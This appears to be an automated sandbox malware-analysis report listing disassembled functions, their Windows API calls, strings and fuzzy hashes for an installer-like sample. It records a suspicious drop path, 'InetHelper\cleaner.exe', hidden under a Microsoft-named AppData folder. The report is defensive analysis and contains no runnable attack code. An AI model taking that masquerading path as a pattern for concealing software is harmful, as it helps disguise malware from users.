Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(gD, xrefs: 0040587D

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (gD${
API String ID: 590372296-3503173740
Opcode ID: 9927c5c04afc45ce7243f23ce83da3be808d830e5e7dac2abc1f2713bef2e627
Instruction ID: c9c6b7b377eba0e4ba3b2f043119a7f49a951143ce35cdb84ba81c9eded025b4
Opcode Fuzzy Hash: 9927c5c04afc45ce7243f23ce83da3be808d830e5e7dac2abc1f2713bef2e627
Instruction Fuzzy Hash: F9B16A71800608FFDB11AFA0DD89AAE7B79FB48314F10817AFA45B61A0DB744E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2e47159a8ee18e206dd23a4901cc844ba6fc231fc2eeb5e404362fef1fcfc38e
Instruction ID: d2f35d8900002cfc25ccfd4abe259465259501dfb46309a939b5c4dc2546952f
Opcode Fuzzy Hash: 2e47159a8ee18e206dd23a4901cc844ba6fc231fc2eeb5e404362fef1fcfc38e
Instruction Fuzzy Hash: 45028CB0900609EFEB109F94CD85AAE7BB5FB44314F10817AF615BA2E1C7798E42DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00446728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00002000,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004366F8,?,?,0000040F,?,004366F8,004366F8,?,00000001,004366F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00446728,00446728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00446728), ref: 00404CC9

Strings

A, xrefs: 00404973
"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 004049B1, 004049B6, 004049C1
(gD, xrefs: 0040494D

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$(gD$A
API String ID: 2624150263-1103393527
Opcode ID: ce9fa2f80e2d72a36f4439ca0a9b4256237b791ea529c161ce0682b1aa97351d
Instruction ID: 9143468ab5d07659f3e28480ae0608f723924ccc95e3ca23e4c22bb38621839a
Opcode Fuzzy Hash: ce9fa2f80e2d72a36f4439ca0a9b4256237b791ea529c161ce0682b1aa97351d
Instruction Fuzzy Hash: 50A161B1900205ABDB11AFA6CD85AAF77B8EF84315F11803BF601B62D1D77C99418F6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 96344c3de5cfe15fcb011e91b90de0fab0478ac3d65f8d3cbce9a31fa6ce2af2
Instruction ID: 9bf21a461f45ca9ede348bf2f5d3e2a4fdca70f5c54a4bf8f8a9e28148a02939
Opcode Fuzzy Hash: 96344c3de5cfe15fcb011e91b90de0fab0478ac3d65f8d3cbce9a31fa6ce2af2
Instruction Fuzzy Hash: DB414971A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00446728,?,00446728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00446728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(gD, xrefs: 004041C4

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (gD
API String ID: 184305955-2450699939
Opcode ID: 48a7949b4d51a1ec232375b91bbbfbe9bb62f1b02b2dd2e3074461365575c3ec
Instruction ID: dffee297adc4390e0108bf821a76a55ee3af39d38e00891df0cde6976b1e4786
Opcode Fuzzy Hash: 48a7949b4d51a1ec232375b91bbbfbe9bb62f1b02b2dd2e3074461365575c3ec
Instruction Fuzzy Hash: 51C1B3B1540600EFDB216FA1EE85D2B3BA8EB85706F10053EFB41B11F1CB7998919B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 004046FB

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$N
API String ID: 3103080414-3972352568
Opcode ID: ee6812b55728e13701025233a8a1636c33168640e361f3cefbda46e1e37430c8
Instruction ID: 4cd1da19937af119875355adca30567c2743cec9092c6b5b68c8bc3b1ab06c36
Opcode Fuzzy Hash: ee6812b55728e13701025233a8a1636c33168640e361f3cefbda46e1e37430c8
Instruction Fuzzy Hash: 176181B1900209BFDB109F60DD85EAA7B69FB84354F00853AFB05B72E1DB789D51CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00468240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: d1a6ac0749d5adbba1104fe8f7c5c271f621e3b3c45a8bc66e6bce868fb748d7
Instruction ID: 5ab7a9dfb5d1aa1389ec6db6610c78830fc9e5957017c9b4d31100662f95375f
Opcode Fuzzy Hash: d1a6ac0749d5adbba1104fe8f7c5c271f621e3b3c45a8bc66e6bce868fb748d7
Instruction Fuzzy Hash: 14418C71800209AFCF058F95DE459AF7BB9FF44314F00842EF591AA1A0CB78D954DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,0045EDC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,0045F5C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,0045F5C8,C0000000,00000004,0045F5C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,0045E9C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: ea336b7c7ee09a778134d66cdc55d59d2776f1992f2862d3dcc69e87973e6afa
Instruction ID: a59dba961965db3d83d90a372a5cb94a2ead5b1f2218518f4427fddb9e4ed3d0
Opcode Fuzzy Hash: ea336b7c7ee09a778134d66cdc55d59d2776f1992f2862d3dcc69e87973e6afa
Instruction Fuzzy Hash: 8F312771200705BBE2206B628D48F573A6CEF45745F15043EFA46FA2C3DA7CD91586AD

Uniqueness

Uniqueness Score: -1.00%

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 624626f4f5892e412f857cef7a92b39e94472dde615dcc0e6b59693489985feb
